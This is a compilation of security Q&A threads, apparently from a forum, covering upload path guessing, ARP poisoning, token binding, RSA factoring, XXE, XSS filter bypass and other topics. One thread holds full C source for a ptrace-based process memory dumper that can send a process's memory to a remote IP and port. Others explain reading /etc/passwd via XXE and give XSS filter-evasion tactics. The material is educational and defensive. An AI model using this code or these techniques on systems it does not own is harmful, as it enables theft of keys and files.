Find path of file on website with randomized string in it Users have the possibility to upload a sensitive personal file to a specific website. After uploading, only the user himself and the administrator of the website have the ability to download the file again.
All files of any user are uploaded to the following folder:
https://example.com/folder/uploads/.
Before a file is uploaded, it gets renamed to <<username>>.docx.
So for Foo the path would be: https://example.com/folder/uploads/foo.docx and for Gux it'd be https://example.com/folder/uploads/gux.docx.
As you can see, this is not safe at all. Foo could simply examine the download link, and replace his own name in the file-path with the username of other users to download their files.
So to prevent this, the web-developer did the following:
Before a file is uploaded, a random string of 15 characters gets prepended to the filename. This random string is different for each upload.
For Foo this would be for example https://example.com/folder/uploads/heh38dhehe83ud37_foo.docx and for Gux https://example.com/folder/uploads/abcnjoei488383b22_gux.docx.
When Foo examines the download-url, he will know in which folder all the files are stored. But there is no way that he could guess the random string that is prepended to Gux' file. The random string actually functions as a 15-character long password.
In all directories an index.html-file is placed so the directory content does not get listed.
If Foo still wanted to download other users their files, how would he do that? I'm looking for a way Foo would do this by forming a specific URL or HTTP-request. Breaching the server or database is a correct answer but not the kind I'm looking for.
TL;DR: How to find the path of a file on a public website with a unique and randomized string in it? You know the path to the upload-folder, but there is a index.html-file there so you can't see the content.

Under the following assumptions, the approach is safe:

the 15-byte prefix is truly random
the character set of the prefix consists of numbers and the characters a to z. (given the file name examples that O'Niel provided).

In practical terms, the file name cannot be guessed or bruteforced because the search space is too huge (as @schroeder correctly comments).
Let's do the math:
Calculating the search space: 36 ^ 15 = 2.2107391972073336e+23
If any kind of supercomputer setup was to bruteforce this in say, a 100 years (approx. 3.1536e+9 seconds), then it had to try more than 7e+13 possibilities (70 trillion (short scale)) per second.
Which, of course, does not seem feasible.


Is it safe to have an opened port on my PC with a proxy server listening? I have a single port open for my own proxy server. All other ports are closed. Is it safe for my PC? Even if my port will keep getting bombed by hackers could my PC be exposed to them? There is no sensitive information going through my proxy so I don't mind it to be leaked, but I want to keep information on my PC safe. Is it possible?

First of all, if a port is opened it's usually because there's a service listening on that port which responds using whatever protocol it is based on.

The first question is: What kind of service responds on that port, and what protocol does it respond with?

The second question is: Are there known vulnerabilities regarding to that particular service or protocol?

When the port number is uncommon, but open, the attacker send probes on that port to match the service behind it, and in case of positive responses, he tries to find answers to the second question.
Sometimes, he can find undocumented vulnerabilities using a technique called fuzzing.

Some others, when the source code of the service protocol is opened (opensource), he can find vulns simply by reading the code.
You should query yourself on the first question and keep in mind this easy advice: Always close unnecessary services and specific ports behind them to lower the risk of attackers gaining access to your computer by exploiting bugs in the service that is listening on that port.


How do so many vulnerable IoT devices stay alive and online? With attacks like Mirai and similar "script kiddie" threats giving access to so many IoT devices, how do they manage to stay online?

Suppose I have a device online which can be accessed (as root) over SSH with default credentials. Surely within a day or two some botnet will have found it, and within a few months loads will have found it.

Given so many nasties now freely accessing my IoT lightbulb (or whatever), sooner or later I would expect one of them to shut the device down or vandalise it in some way that knocks it offline.

Obviously whilst building a botnet a hacker would want to keep their bots online to use them. But I can imagine someone think "how hilarious, I will connect thousands of devices and then turn them all off at once" (even with a script that turns it off again on startup).

Or e.g. you might see a "grey hat" hacker do this to try to prevent a "black hat" from exploiting a vulnerable popular device. Or a rival company try to gain a competitive advantage by killing all their competitor's devices.

Do they only stay on and online because nobody has decided to knock them off in this way yet? Or am I misunderstanding something?

While attacking systems was kind of a fun sport in the past for some it is now mainly a business. Simply destroying systems has very low return of investment while still having a risk of getting charged for criminal activity.  It is much more lucrative and worth the risk instead to infiltrate a system and use it as base to attack and infiltrate more systems. Attackers even make sure that the original vulnerability gets closed so that other attackers cannot "steal" the system from them.

But there are also attacks which destroy systems. Only this is done not for fun but instead to cover the tracks and to massively harm the victim as done for example in the attack against Sony Pictures.


How can I make sure nobody is accessing my computer with DameWare or something similar? I have a specific need to block any remote connection from DameWare. Can I block a specific port or set of ports in the firewall?

Edit:

I work in IT and my buddy in operations likes to get into my machine and say, change the background when I'm in a meeting! :)

I would like to stop this from happening - I know he used DameWare to accomplish this.
He's using a machine on our network that has DameWare installed to connect to my machine on the network.

[Edit]

Well, your edit makes the question specific to Dameware, rendering the below answer not so useful. In that case, assuming you have the privilege to edit firewall rules (which i doubt a little), you can block the inbound and outbound traffic on the ports used by Dameware.
Here is the list of ports used by dameware: -
http://documentation.dameware.com/dmg/Content/dmg_port_requirements.htm
[Edit End]

Use wireshark.
It's a great tool for monitoring your system's live network related activities.

You can start wireshark on whatever interface you are connected to (like Ethernet or WIFI). It will start capturing each and every packets that leave your system or enter your system ie. Inbound and Outbound traffic. While doing that, make sure you are also accessing or using your exposed port like 80, 443 (or other ports that you know are open), reason being I have seen many malwares that lie dormant and are only triggered when user do some activity, so that it can hide it's traffic under user's traffic.

After doing the capturing for some time stop the capture, save the pcap file and you can again analyze it using wireshark. It has great filters to help you out of the heap of packets.
Here is a quick start guide for it: - http://www.howtogeek.com/104278/how-to-use-wireshark-to-capture-filter-and-inspect-packets/

Assuming that you do find something suspicious, you can mitigate them accordingly.
Hope this helps!


Image upload meta information I'm coding an app that allows registered users (anyone who registers) to upload images to my nodejs background (processing with sharpjs)..

I remove the exif section of the image for security. However I have realised that in-fact gps section of exif is extremely neat. Now I'm thinking to keep all of it.

My concern is someone might upload text such as

{
...
GPSSpeed: pornhub.com
GPSLatitudeRef: SOME EXTREME lenght text... 500000k+
...
}

Well you get my fear.

Is my fear legitimate?

My first intuition is too loop all the keys and match them to some schema (lenght, type, maybe even content) , but that would require me creating such a schema.

Information in EXIF are not free data but have data types. The GPS position information are rational data types expressed as exactly 8 bytes. This means that you cannot put arbitrary string information in it but only floating point numbers.

It might make sense to restrict these values further to sane values. Given that you only want to keep the GPS information of the EXIF metadata it makes sense to extract these, remove the original EXIF data block and write a new one with only the GPS information in it as long as they are within a sane range. There are libraries in a variety of programming languages to do this.


Can a school monitor my school laptop? So i'm on my school computer right now at home, and I was wondering, if i'm at home on my internet connection, can my school use their monitoring app (DyKnow) and see what i'm doing, from my wifi?

Yes - software installed on a machine can monitor all activity, regardless of network connection. It likely even works when the computer is offline, storing all the information locally until it's connected to the internet again when it can send its stored info to your school administrators. It won't be able to monitor any other devices on the same network through - if you've connected your school laptop to your home wifi your tablet or phone won't be monitored. While I'm not familiar with the software, stuff I'd assume is monitored and alerted on:

websites you visit
installing software
any attempts to access underlying system resources, such as console commands, attempting to run scripts as an admin, etc
files downloaded

Keep in mind that while HTTPS blocks someone from sniffing your network stream, it doesn't work on something installed on the device because that sits outside the protected HTTPS tunnel. Anything sent over HTTPS can still be viewed (chat messages on FB, etc).

When using a device that you don't fully own/have admin rights over, it's always wisest to use it as if someone was watching your screen the entire time.


How do cookies work together with token binding? Token binding is a mechanism where the client sends an signed token to the server. Because this token is based on a private key it is harder to steal than session cookies. What I don't understand is how the token binding token works together with session cookies.

The token binding intent to implement says:

  With token binding, the cookie acts much like a certificate issued to the client (as opposed to a session credential), while the token-binding private key becomes the actual session credential.

Is it possible to use the signed token provided by token binding as the session token? Would you still need a cookie in that case? What does it mean that the cookie acts like a certificate?

Edit: the intent to implement no longer says this.

As far as I understand it, token binding can be used to identify user using a certificate without need of PKI. How it works:

Client generates a key-pair, certificate locally, without need of signing server. Then once it connect to the HTTPS server it signs the tls_unique value (sent by server during tls handshake) using the generated private key then it "builds" the token consisting of the signed tls_unique and the public key. This information is added to HTTP request as Token-Binding header. Additionally, for the first time, the HTTP request includes some kind of another authentication info such as username/password. This bunch of data is sent to the server. Server validates the credentials passed and if it is correct it stores the token binding (mainly the certificate) locally for further authentication. Additionally, it generates the token which can store whatever info but it also stores the public key which's private key was used to sign the binding request. This token is bound to the given certificate and uniquely identifies given user. And this token is delivered back to client using a cookie.

During other requests, no credentials are need as server already has the user certificate bound to the token generated. Client sends the token together with another signed tls_unique value, server checks the token in cookie together with the Binding-Token info and if it knows the user (token is valid) and the certificate presented is the same as previous the authentication is done.

In this case, I would say the token is sent by cookie just because it is well known mechanism which can be done completely automatically and the cookie is quiet well protected. But please note, the token can be delivered to both sides in any other way, i.e. in GET request (http://service.domain/?token=...). This is used especially for federation services because passing cookies cross domain would not work.

What about sessions?. Although this token can also be used to identify the session I would not mix it up. The token is primarily used for authentication while session is used to keep some information about the stateless session during some amount of time. I would use separate session ID for every new session the user would open. This is just my personal feeling and I can't exactly explain why. Definitely, it is not necessary to store authentication info in session anymore as it will be passed with every new request separately in headers (Token-Binding/Cookie) pair ;)

Just to finish it. I would not say the cookie, but rather the token (it can be sent by cookie or by GET/POST request / or data) really servers as client certificate used to authenticate you, moreover without need of PKI. Because you pass your certificate in token together with a data encrypted (signed) using your private-key server. Then server uses it to authenticate you.


Memory dumping Android I need to evaluate the security of a cryptographic library. In particular I am targeting a part of the library where I believe the private key is exposed for a limited time in the RAM. Any ideas or pointers on how to go about checking the RAM for this key. I was thinking about dumping memory after some specific user interactions. But how do I start with this, any tools recommended? I am home in the security world, I know about memory layouts, usage, countermeasures against memory attacks etc. Just not in Android.

As for starter it is sufficient if the tools/techniques require custom kernel flashing or rooted devices. But in the end it should be applicable in real life situations where the target device is an out-of-the-box OEM device.

I had the same need and after looking around I ended up writing my own program.

Usage:

memdump <pid>
memdump <pid> <ip-address> <port>

The former will output the entire process memory to stdout, and the latter to the TCP port of your choice (you'll likely use netcat on the other end).

#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <arpa/inet.h>

void dump_memory_region(FILE* pMemFile, unsigned long start_address, long length, int serverSocket)
{
    unsigned long address;
    int pageLength = 4096;
    unsigned char page[pageLength];
    fseeko(pMemFile, start_address, SEEK_SET);

    for (address=start_address; address < start_address + length; address += pageLength)
    {
        fread(&page, 1, pageLength, pMemFile);
        if (serverSocket == -1)
        {
            // write to stdout
            fwrite(&page, 1, pageLength, stdout);
        }
        else
        {
            send(serverSocket, &page, pageLength, 0);
        }
    }
}

int main(int argc, char **argv) {

    if (argc == 2 || argc == 4)
    {
        int pid = atoi(argv[1]);
        long ptraceResult = ptrace(PTRACE_ATTACH, pid, NULL, NULL);
        if (ptraceResult < 0)
        {
            printf("Unable to attach to the pid specified\n");
            return;
        }
        wait(NULL);

        char mapsFilename[1024];
        sprintf(mapsFilename, "/proc/%s/maps", argv[1]);
        FILE* pMapsFile = fopen(mapsFilename, "r");
        char memFilename[1024];
        sprintf(memFilename, "/proc/%s/mem", argv[1]);
        FILE* pMemFile = fopen(memFilename, "r");
        int serverSocket = -1;
        if (argc == 4)
        {
            unsigned int port;
            int count = sscanf(argv[3], "%d", &port);
            if (count == 0)
            {
                printf("Invalid port specified\n");
                return;
            }
            serverSocket = socket(AF_INET, SOCK_STREAM, 0);
            if (serverSocket == -1)
            {
                printf("Could not create socket\n");
                return;
            }
            struct sockaddr_in serverSocketAddress;
            serverSocketAddress.sin_addr.s_addr = inet_addr(argv[2]);
            serverSocketAddress.sin_family = AF_INET;
            serverSocketAddress.sin_port = htons(port);
            if (connect(serverSocket, (struct sockaddr *) &serverSocketAddress, sizeof(serverSocketAddress)) < 0)
            {
                printf("Could not connect to server\n");
                return;
            }
        }
        char line[256];
        while (fgets(line, 256, pMapsFile) != NULL)
        {
            unsigned long start_address;
            unsigned long end_address;
            sscanf(line, "%08lx-%08lx\n", &start_address, &end_address);
            dump_memory_region(pMemFile, start_address, end_address - start_address, serverSocket);
        }
        fclose(pMapsFile);
        fclose(pMemFile);
        if (serverSocket != -1)
        {
            close(serverSocket);
        }

        ptrace(PTRACE_CONT, pid, NULL, NULL);
        ptrace(PTRACE_DETACH, pid, NULL, NULL);
    }
    else
    {
        printf("%s <pid>\n", argv[0]);
        printf("%s <pid> <ip-address> <port>\n", argv[0]);
        exit(0);
    }
}

To cross-compile it for Android your Android.mk should look like this:

LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)
LOCAL_MODULE := memdump
LOCAL_SRC_FILES := memdump.c
include $(BUILD_EXECUTABLE)


ARP poison detection I tried ARP poison on my local test system with ettercap. It was successfully, so I decided to run a test on most secure systems, like Facebook and Google, but I could not reach them and they warned me: "The connection is not private". I know there are lots of IDS/IPS which can detect this attack and I was looking for the answer how to prevent ARP poison in case of my router. According the description I have to use static IP addressing and IP and MAC binding, but I need to use DHCP, because lots of devices are connecting via WIFI. Often arrive new devices to the network, therefore I can't use this technique. How can I prevent ARP poison in this case?

Additional information: my router type is TP-Link N600.

Consumer level switch or routers will most probably not provide any protection against ARP poisoning.

However, in the case of a small personal network directly connected to the router, you can add a permanent entry in your computer in order to associate the router IP to it's real MAC address.

Luckily enough, the command is the same on Linux and Windows hosts: arp -s <inet_addr> <hw_addr> where:

<inet_addr> represents the IP address,
<hw_addr> represents the MAC address.

This solutions presents nevertheless a few limitations:

It works best if all the hosts are connected directly to the router. If you have a switch between your hosts and your router, another host might still use ARP spoofing to confuse the switch,
In case of mobile devices, you may encounter an issue if you connect to another network using the same IP but a different MAC address (a lot of personal network have their router associated to addresses such as 192.168.0.1),
It is not salable to larger networks since it would quickly become heavy to maintain (but in this case there are often other detection / prevention measure available).


Should we keep logs forever to investigate past data breaches? Listening to the Secure code lessons from Have I Been Pwned made me really think about logging.

It appears that in the real world a lot of data breaches are discovered long after they happened which makes the investigation and recovery much more difficult because oftentimes there are no logs to follow and research.

What can we do about it? Should we keep all the application/system/webserver logs forever?

There is no "correct" answer to your question, unfortunately. Data retention policies are specific to the needs of an organization, and are often implemented out of necessity to comply with various legal requirements , which vary depending on the nature of the data being stored, as well as the jurisdiction that the data falls under.

Retaining log data can allow for post-mortem analysis if a breach is discovered, as you're alluding to in your question. However, retained data can also be a security risk in its own right if the logs contain sensitive information, so steps must be taken to secure log files if necessary. The other obvious factor in play is the cost of keeping the logs. Depending on availability requirements, different backup solutions may be more cost effective than others, such as keeping old logs  offsite on tape storage rather than using disk redundancy.


Concept needed: user specific encryption on server In a typical mobile project, a user can register and login into an app, and the app communicates with a server.
For simplicity, consider an app where the user can register/login using the OAuth2 standard with his google account.

Now, the own developed server would like to fetch additional information; in the example the server could fetch the google server for some critical user specific data.
This data is needed later on, so the server would like to store this data.

Requirement 1.1: the server admin should not be able to get this ciritcal user data e.g. by reading the data base.
Requirement 1.2: the server should be able to encrypt this user specific data specifically for this user
Requirement 1.3: the server should only be able to decrypt this data when the actual user is involved ("user secret").

One solution idea could be, that the user generates kind of a private and public keys on registration time and sends the public key to the server.
The server encrypts the fetched sensible data with the public key
of the user.

If the user wants the server to use this data on another operation, it must provide an additional part to the server to decrypt the data (e.g. the private key).

Requirement 2.1: The server should be able to decrypt with a user secret, but should not need to re-encrypt. Can this be archived by e.g. a signed "secret", which is only valid to decrypt the data once, or in limited time?
Requirement 2.2: The app should be able to synchronize the secret to another app installation on another phone, so that the user can trigger the operation from another phne, without the need to share the key over the server itself.

Do you have any advices or hints how these requirements can be met? (partial solutions are also highly welcome)

Requirements 1.1 and 1.3 are incompatible; there's nothing that software can do which an admin of that software cannot do.

If you don't need the server to be able to decrypt the data at all, that works fine and is called end-to-end encryption (E2E) and is used for a wide variety of very secure tools. With E2E, only the client can decrypt the data; the server can only receive, store, and transmit encrypted blobs with no access to their contents.

Requirement 1.2 can be met by having the server store a public key for each user, and - when it wants to encrypt data to that particular user - first creating a new symmetric key, encrypting data with that key, and then encrypting ("wrapping") the symmetric key with the user's public key and storing the encrypted data and wrapped symmetric key together. The user, which is the only entity with access to the corresponding private key, is the only entity that can unwrap the symmetric key. However, this still requires that the server be trusted, or else it (or a malicious admin) might do something like also wrap the symmetric key with their own public key, or just store the symmetric key (or the data itself) in plain text somewhere.

Requirement 2.1 is fundamentally impossible if there is no fully-trusted agent to do the decryption for you. If the server is doing the decryption itself (and is not fully trusted, because the admin isn't fully trusted) then the server/admin can steal the decryption key and hold onto it for later use. You can mark a key as "don't use after this date" but there's no (known) way to mathematically enforce such an inherently non-mathematical concept and cryptography is just math. Enforcement is up to the agent doing the decryption, and the key expiry is nothing but a suggestion.

Requirement 2.2 can be achieved by transmitting the key over a local network or Bluetooth, or encoding it as a QR code and displaying it on the screen, or other such methods. For maximum security, though, the key should be encrypted using a user-supplied password and decrypted on the other end, or better yet transmitted over an encrypted channel using an ephemeral key with the passwords used only to verify the ephemeral key parameters (this is known as "forward secrecy" and prevents an attacker from decrypting the key even if they recorded all the network traffic and later learn the password that was used).

Given the questions that you are asking, you almost certainly do not have enough security knowledge to design this system securely, or securely implement even a secure design. Designing new cryptosystems is hard, as is implementing them. For example, the SSL/TLS protocol is decades old, designed by people who theoretically know what they're doing, and has been through 6 different published versions because people keep finding weaknesses in the old ones... and that's just the design; the actual implementations in libraries like OpenSSL have had numerous and occasionally massive vulnerabilities.

If you have a specific use case in mind, there may exist well-reviewed software that already provides it (for example, nobody should be attempting to roll their own password manager unless they fully understand how the existing ones work and have some specific improvement they want to make but can't just get LastPass/1Password/etc. to implement it). Don't re-invent the wheel if you don't have to, especially if you're not quite sure how wheels work and want them to do several incompatible things.

If you're trying to create something that's totally new, document it and put out the document in a Request For Comments (RFC) so the industry can try to poke holes in the idea, and then after the design is done, open-source the code you write so that the industry can review your implementation. If the design and/or code must remain proprietary, you're probably not going to be able to achieve as good of security but you should still hire a cryptographic security expert (perhaps as a consultant) to review the design and implementation.


Conflict between cipher-suite and certificate When capturing my SSL session (using Chrome) I have noticed that the server chose TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b) as the cipher-suite and the certificate signedcertificate signature was sha256WithRSAEncryption.

How come the certificate uses RSA while the Cipher-suite is ECDSA?

I found the answer:

In TLSv1.2, and only in TLSv1.2 - if the client hello include an extension called "signature_algortithm", the server may sign the certificate with any of the methods mentioned in the extension, regardless the cipher-suite it choose to work with.

you can see the extension structure here:

regards,
Amigal

its the session to google server called ssl.gstatic.com

In short: the ECDSA in the cipher suite refers to the key of the sites certificate. The RSA in the signature refers to the key of the certificates issuer. In detail:

To check what kind of certificate you get with this cipher:

openssl s_client -connect ssl.gstatic.com:443 \
   -cipher 'ECDHE-ECDSA-AES128-GCM-SHA256' -tls1_2 -servername ssl.gstatic.com \
  | openssl x509 -text

This gives a certificate with an EC key, as expected:

Issuer: C=US, O=Google Inc, CN=Google Internet Authority G2
...
Subject: C=US, ST=California, L=Mountain View, O=Google Inc, CN=*.google.com
Subject Public Key Info:
   Public Key Algorithm: id-ecPublicKey
      Public-Key: (256 bit)

But even if the certificate itself uses an EC key it is signed with an RSA key:

Signature Algorithm: sha256WithRSAEncryption

This is because the signature is created by the issuer and is thus using the key of the issuers certificate. And the issuer is using an RSA key:

Subject: C=US, O=Google Inc, CN=Google Internet Authority G2
Subject Public Key Info:
   Public Key Algorithm: rsaEncryption
      Public-Key: (2048 bit)


I think I downloaded spyware from an ad on tortoise-svn site The other day in a rush to quickly download and install tortoise svn, I accidentally clicked on a big download button on an ad on their site and installed something that I don't see on my computer.

It's called PDF Creator from wisedownloads.com.  I don't see any new programs installed after I installed it.  I'm wondering if anybody knows anything about this domain and software?  I've googled it, but I can't seem to find anything.

PDFCreator, the real one, is a virtual printer which produces PDF files. It provides the "print to PDF" functionality to Windows machines. It is good software -- but what you got under the name "PDF Creator" might or might not be this software. Name uniqueness is not proactively enforced throughout the Web.

Wisedownloads.com is one of these myriads of sites which offer links or mirrored copies of various software packages. The AVG people find it "currently safe" although some users had mixed experiences with regards to stuff downloaded from that site (and other peoples have had mixed experiences with regards to AVG itself, so that information is not necessarily the Word of God). Wisedownloads.com appears to be based in Florida, thus subject to US Law, which could be a good sign.

On Windows, use Program and Features from the control panel to see which software is actually installed. "Honest" software which does not create menu entries or desktop icons will still appear there.

(If you were "in a rush" then possibly you did not install anything, you just downloaded the file, which will then appear in your "Downloads" folder. If you locate the downloaded file, whether you installed it or not, you could hash it with MD5 and search for the hash value on Google. There are sites which aggregate hash values for known bad files, and Google indexes them.)


Is it poor practice to host multiple web applications on the same domain, in terms of cookies? In my web application, I have a single API backend and two frontends written as single page applications. To simplify deployment, I'd like to serve the API on /api, the admin dashboard on /admin, and the end user frontend on /user (or something similar), all on the same domain.
I want to use cookies for handling sessions, for both the end-user and admin apps. Is this a good idea? As I understand it, cookie usage is restricted by their domain. Would it make it simpler for an attacker to steal admin-session cookies from someone logged into both frontends? Or, should I use different domains for the admin and user frontends (admin.mydomain.com and user.mydomain.com)?

Cookies can be also restricted by the URL path. In this case you can use the Path attribute in the session cookie:

Path attribute
The Path attribute indicates a URL path that must exist in the requested URL in order to send the Cookie header. The %x2F ("/") character is considered a directory separator, and subdirectories match as well.
For example, if Path=/docs is set, these paths match:
/docs
/docs/Web/
/docs/Web/HTTP

For the sessions, it's better to have two different ones:

one for the admin endpoint (Path = /admin)
one for the user endpoint (Path = /user)

This will prevent privileges escalation (vertical).
To prevent stealing the cookie, you can add the attributes:

HttpOnly: prevent access to cookie values via javascript
Secure: ensure that cookies are sent securely and are not accessed by unintended parties
SameSite: Protect against CSRF

Finally, make sure that your application does not have any XSS vulnerability. You can find more details about how to prevent of it on:

https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
https://core.ac.uk/download/pdf/53189097.pdf
https://www.ukessays.com/essays/computer-science/prevention-of-cross-site-scripting-attacks.php

Hope it answer your question.
source:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies


Crack 512-bit RSA encrypted messages without a private key? I was wondering if it would be possible to crack a message that was encrypted with 512-bit PCKS1 encryption with the public key. I am doing a project for our science fair type thing at school and have created a simple messaging app that sends encrypted messages.

Would it be possible to decrypt these messages in a suitable amount of time (A couple of hours on a $5 DigitalOcean droplet) or is that totally ridiculous? If that idea isn't so far fetched, could you please also suggest a program to use for the cracking?

512 bit RSA was factored in 1999 with pretty advanced specialized hardware. It took 6 months. It should be much easier (though not trivial) today with modern PCs.

From Wikipedia

  In 2009, Benjamin Moody factored an RSA-512 bit key in 73 days using only public software (GGNFS) and his desktop computer (dual-core Athlon64 at 1,900 MHz). Just under 5 gigabytes of disk was required and about 2.5 gigabytes of RAM for the sieving process.

That was about 7 years ago. Going by those stats, I am guessing a few modern desktop computers with intel i7 chips  working together would factor 512-bit RSA within days or weeks. I doubt you can do it in a couple of hours though.


OWASP ZAP: Infinite Redirect Loop infinitely appending a value to a cookie I have a website that I need to scan with OWASP's ZAP tool 2.70. It previously worked as long as cookies were enabled.

The site is a .net site proxied by Apache with mod_security. It works with all major browsers such as Firefox, Waterfox, Chrome, IE, Edge, Safari and Opera.

When I browse through ZAP as a proxy I am able to access the site. When I try to use the quick start URL to attack it fails generating a 302 response. This would be a symptom of having cookies disabled.  When I try the request in the Manual Request Editor it loops through a series of redirects (with the request showing a SetCookie tag in the history until I get a 400 error with this message:

  Your browser sent a request that this server could not understand.
  The number of request header fields exceeds this server's limit.

When I raised audit logging to capture all requests what I saw was that an ASP session cookie was being appended to repeatedly.

  Cookie":".ASPXANONYMOUS=_zHJef8I1AEkAAAAMDY3YTJiOTktZGFkMy00NTcwLTg0YjEtNGEzMTgwYjBlYzVi0,
  ASP.NET_SessionId=izjpf5ocrvlwky3q5qh0l3ul,
  .ASPXANONYMOUS=LiCxVgAJ1AEkAAAAMGM3NTExZWUtYjE1Ni00YzYyLWJjN2ItOTQ1NzM3ZjU5ZmQz0,
  ASP.NET_SessionId=xnhdcxlwgsklk44jstub0fhc,
  .ASPXANONYMOUS=GfmtYQUJ1AEkAAAAMWE2ZjgxYTItYWZkYy00ZDk2LWE2YjgtZTczYmMwMDUyMGU00,
  ASP.NET_SessionId=2swvpalf1hplhhrdhrn32t5x,
  .ASPXANONYMOUS=GfmtYQUJ1AEkAAAAMWE2ZjgxYTItYWZkYy00ZDk2LWE2YjgtZTczYmMwMDUyMGU00,
  ASP.NET_SessionId=f44l3zlb2yq2nv3dvyq01ar0,
  .ASPXANONYMOUS=U0G8YQUJ1AEkAAAAMzRlOWQwNzItZWYzOS00ZTIzLWI0NWUtOTFiMDlkMTE5MjRj0,
  ASP.NET_

Sounds like a bug - can you raise an issue for this? https://github.com/zaproxy/zaproxy/issues/new


How does the "emergency access" feature of LastPass work? How does the "emergency access" feature of LastPass work? I can't find detailed information about the used cryptographic methods.

How can I be sure that LastPass is not keeping a copy of my master-password to decrypt the files in case of an emergency access request?

While the strict answer to the question can be found in the LastPass Help Centre, what is interesting on the info they provide is that by enabling it you make your account as secure as the master password of the relying party (on a threath model where the attacker has access to encrypted data like lastpass has).

If you have a strong one, but the other person uses a weak one, the attacker (or lastpass) could get into your passwords.


Security risks of multitenancy Is there a security risk of using same firewall hardware as the company perimeter firewall device (providing multi-tenancy) which is already shared by other companies? Is there a possibility of being affected our firewall tenant if some other company get an attack like DDoS even-though multi-tenancy in practice?

Thanks

First and foremost, nomenclature.

https://www.threatanalysis.com/2010/05/03/threat-vulnerability-risk-commonly-mixed-up-terms/

The 'risk' can only determined if there is a vulnerability within this shared infrastructure situation you describe. There is almost always a vulnerability (I said "almost" because in InfoSec it is usually unwise to deal in absolutes) in a system. Humans are imperfect, and we make the systems.

But let me step back and not nitpick; yes, if your service provider uses a single firewall system and all customers share that system, there is an implicit sharing of any vulnerabilities. Even with configurations that mitigate the affects of traffic between tenants, the firewall is a single point of failure and a shared resource. Anything that affects the firewall and a single tenant must have some impact on the others, even if well managed and mitigated.


How can XML Injection be exploited , need example? So I found this explanation for a vulnerability on some cms :

  The XML parser at /WorkArea/Blogs/xmlrpc.aspx is vulnerable to XML
  external entity attacks which can be used to Scan behind perimeter
  firewalls or possibly include files from the local file system e.g.
  ]> &test;

How can that issue be exploited . I have vulnerable cms on my home server. There isn't really much info on that. My goal is to learn something new. THanka

The XML syntax allows for automatic inclusion of other files, which can be on the same system, or even elsewhere (through a URL). See for instance this documentation. The attack would be conceptually a case where the attacker can add an "external entity reference" in a piece of XML which will be interpreted as XML by a machine (e.g. a Web server), with the rights of that server; the attacker can then make the machine read a local file of his choosing (a file local to the server) and include it in the interpreted XML. If the interpreted XML is then sent back to the attacker, then the attacker gains a read access to the server local files.

We could imagine that in a CMS system, where the attacker can insert messages with a XML syntax. If the CMS allows arbitrary XML from the attacker, then the attacker can use external entities to read and display files like /etc/passwd (or even /etc/shadow if the CMS runs as root).


Bypass char filtering - security shephard I'm stuck in the XSS part of the security shephard OWASP app. I am not looking for someone to tell me the solution, I just need to learn how to find it myself, I'm a bit rusty on XSS.
So what I know so far.

it will substitute the char "i" and I for "."
it will remove "<script>" for a blank space
will substitute ":" for a "!"
it will substitute also "on" so any onload etc will be showing load instead etc.

So filter is not what I was used to years a go, I have try many things but can't seen to find a way to bypass it.. but there has to be a way this is why is in the challenge... Curiosity is killing me here.. :/
Any tips will be welcome and hopefully help other people in the future.

My answer got longer than expected, so just to give you the answer:  probably works, and if it doesn't,  will.

How to try to bypass a custom filter

You say you try to learn how to do is yourself, so here are some first steps I would take:

check case: not all filters are case sensitive. Is I also substituted, or just i?
check alternative encodings: : isn't allowed, but &#58; may be (and it works the same in most contexts).
check what the filter is actually doing. Are replacements always done, or only in certain contexts (eg is i always filtered, or only in script, or only surrounded by characters, or ...)? Are filters only applied once (eg <scri (doesn't contain


Can I be MITMed when accessing an HTTPS website from my own device through a third-party network? If I'm using a device which isn't mine for accessing a website, then I assume the administrator of that device/LAN could read anything I do on it, no matter if it's an HTTPS connection or not.

But, what if I use my own device but I'm connected through a router of a private company? Could I be MITMed (assuming my device doesn't already have any kind of malware or so)?

Yes. This is why you should use a VPN if you're working on an untrusted network and connect to a trusted network.


Resource for determining the ramifications of disabling various ciphers I would like to be proactive and disable weak ciphers on my web servers, such as TLS_RSA_WITH_3DES_EDE_CBC_SHA. However I am concerned with inadvertently cutting off users who make use of older system.

Is there a good resource only that provides statistics on the current % of browser users who require a specific cipher in order to connect via https?

Alternatively, is there a way to get that information by parsing/processing the user agent string from my server logs?

While it doesn't specifically address the approaches you ask about, Qualys SSL Labs Server Test emulates the behavior of a wide number of clients and allows you to see which clients would be unable to communicate with the current configuration.  In this snip from the current grade for security.stackexchange.com, you can see that IE 6 / XP is not compatible.

You can spin up a test site for the purpose of experimenting with different configurations, and correlate what you learn against the user agents found in your logs before shifting the configuration to your live site.


The Hash header in GPG ASCII armor When sending a signed message using GPG, it always includes a line that says Hash: SHA256 right at the top of my email. I was wondering if/why it's required, and if not, how I can remove it (in an effort to remove some clutter).

I noticed that when attaching a signature using PGP/MIME, the Hash header is not included. Is there a reason for this? Is it a configuration option?

This hash function indication is there to support streamed processing. A signature on some data always begins by processing the message to be signed (or verified) with a hash function, e.g. SHA-256. Then, the hash function output is that which is used in the rest of the cryptographic operations.

The "signature" itself, i.e. the binary thing that GnuPG adds at the end of the email, contains the complete specification of which hash function to use, so the Hash: header at the beginning is conceptually redundant. However, the point here is that the GnuPG-produced binary structure is at the end of the email. The recipient's emailing software must then, upon reception of the email, first read it entirely, to reach the GnuPGP object at the end, and then read the full email again in order to hash it. On the other hand, if an explicit hash indication appears right at the beginning of the email, then the hashing can occur while the email is read the first time: this is streamed processing.

This makes sense if you consider that PGP was designed a good twenty years ago. At that time, software could not necessarily afford to keep a 2 MB data file in RAM; streamed processing was important. Well, stream processing is still important, but no longer for data sizes as are commonly encountered in emails. Over the years, average email size has not grown as fast as average RAM size. Nowadays, we do streamed processing for big video files, not for emails. So this "Hash:" header can be considered as a remnant of older times.

It still is part of the ASCII-armor format for cleartext-signed messages, though; theoretically, you may remove it only if the hash function is MD5. Since the information is redundant, it is possible that GnuPG would accept to process an incoming message lacking this "Hash:" header. Or not. I encourage you to try; but be aware that you may encounter interoperability issues if you deviate from the standard.

PGP/MIME does not use "ASCII armor" but MIME, the signature object then being an attached file, as if it was a picture. MIME cares less about streamed processing than the original PGP.


